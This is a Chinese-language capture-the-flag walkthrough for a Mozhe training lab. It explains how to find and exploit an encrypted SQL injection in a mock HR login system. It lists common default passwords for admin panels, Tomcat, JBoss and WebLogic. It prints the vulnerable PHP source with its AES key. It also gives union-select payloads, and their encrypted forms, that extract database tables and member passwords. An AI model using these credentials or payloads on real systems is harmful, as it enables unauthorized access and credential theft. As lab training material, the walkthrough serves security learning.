1.分析题目
💪💪 首先第一步看题目,进入系统后我们首先看一下是什么类型的网站,不同类型的网站往往存在的漏洞不一样,我们首先看到的是一个登录框,第一步想到的是该网站是不是存在弱口令,使用
burpsuit
进行爆破
注:
常见弱口令如下:
网站后台:
admin、manager、admin123、admin888、admin666
数据库(phpmyadmin)
账号:root
密码:root、root123、123456
tomcat
账号:admin、tomcat、manager
密码:admin、tomcat、admin123、123456、manager
jboss
账号:admin、jboss、manager
密码:admin、jboss、manager、123456
weblogic
账号:weblogic、admin、manager
密码:weblogic、admin、manager、123456
可以看到当用户名为admin
,密码为123456
的时候,返回200,但是却登录不了,所以考虑下一条突破口,可以查看一下源代码:
有一个链接,不管了,先点进去看看,点进去发现并没有什么
2.找敏感信息
💪💪点击之后我们进入如下目录,可以很容易发现存在注入点,
⚠️⚠️不管注入什么,都是返回初始页面,所以怀疑注入需要加密,所以接下来目录爆破
- 💎💎用burpsuit爆破
- 💎💎用御剑直接爆破
文件类容如下所示,我把所有函数进行了解释
<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){ //$data:要加密的数据
//mcrypt_module_open():第一个参数是使用的加密算法的名称,对应mcrypt_list_algorithms()输出的加密算法;
//第二个参数一般为“”
//第三个参数对应加密的模式,对应mcrypt_list_modes()输出的支持加密模式。
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
// mcrypt_generic_init($td, $key, $iv);
//$td为返回的加密描述符,$key为加密密钥,$iv为初始化向量
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
//$encrypted_data = mcrypt_generic($td, $data);
//$td为加密描述符,$data为加密前的数据,数据加密函数返回加密后的字符串。
$data = mdecrypt_generic($td,base64_decode(base64_decode($data))); //两次base64加密后再进行一起其他加密
//如下两条语句没用,是执行清理工作的
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-6)!=='_mozhe'){ //$data最后六个字符不是'_mozhe',就返回首页,防止注入的方法之一
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-6);//$data最后六个字符是'_mozhe',就返回除'_mozhe'的其他字符
}
}
$id=decode($_GET['id']); //进行decode加密,
$sql="select id,title,content,time from notice where id=$id"; //注入语句是这条
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>
以下类容进行了一次AES加密,两次base64加密:由以上的代码我们可以反向构造语句(语句后要加_mozhe),构造的语句AES加密后再两次base64加密
3.解题
这题就是union注入,只不过需要对注入语句进行加密,如下是正常sql注入语句,
爆库: -1 union select 1,database(),3,4_mozhe
爆表:-1 union select 1,group_concat(table_name),3,4 frominformation_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit0,1_mozhe
爆列:-1 union select 1,group_concat(column_name),3,4 frominformation_schema.columns where table_name=‘StormGroup_member’ limit 0,1_mozhe
爆字段:-1 union select 1,group_concat(name,password),3,4 fromStormGroup_member limit 0,1_mozhe
进行AES加密后的语句,还需要进行base64加密两次
xgd58ipTrnx8VzSBJicqCkfa8baY1gC/rbon/boeWRvpXDbicAWWwFFEIfXmOuxU
xgd58ipTrnx8VzSBJicqCtnxUkLmTyTBAkYq0YotB+2TUlxiaZHz+pFXJJAjk7w74XqO9Y4QtTSAiJau7Y9+b/YvhEoSyuOlWcpDFDM17XmqO6XS490aiWVoq6kwDUHyxITtMcagQFnkyYrpjUz65/gZd34FY7FQ9RFOXiVy82d0a8UKaV8/pe57GA8Jvfkl
xgd58ipTrnx8VzSBJicqCuvzwQ04ka/PubBNkKJyJETUw/zaWGzAKbj8oM1RQbhWf1CfRwlegybYL2FlUN2T05vP1T+wvhFQcMl8We3XiKd6S7G/cbcLD0VkQOeuNdvhqCx0lgU64V2esD+CRXswac+6cmtTyLwFnXR0G/O5WDuB2Q2LjsAClWxBjsWCZADB
xgd58ipTrnx8VzSBJicqCrKk6D6pYYlFPPQb9jGbVkT6Sq341dUA+jAehyAsFGEMPtnMxDXPlUuRpOkifULqcFMTaSpri+iCfTYxVtvLPoh5a0Pspn/PBIs43WGWH1dh
工具如下:
base64加密工具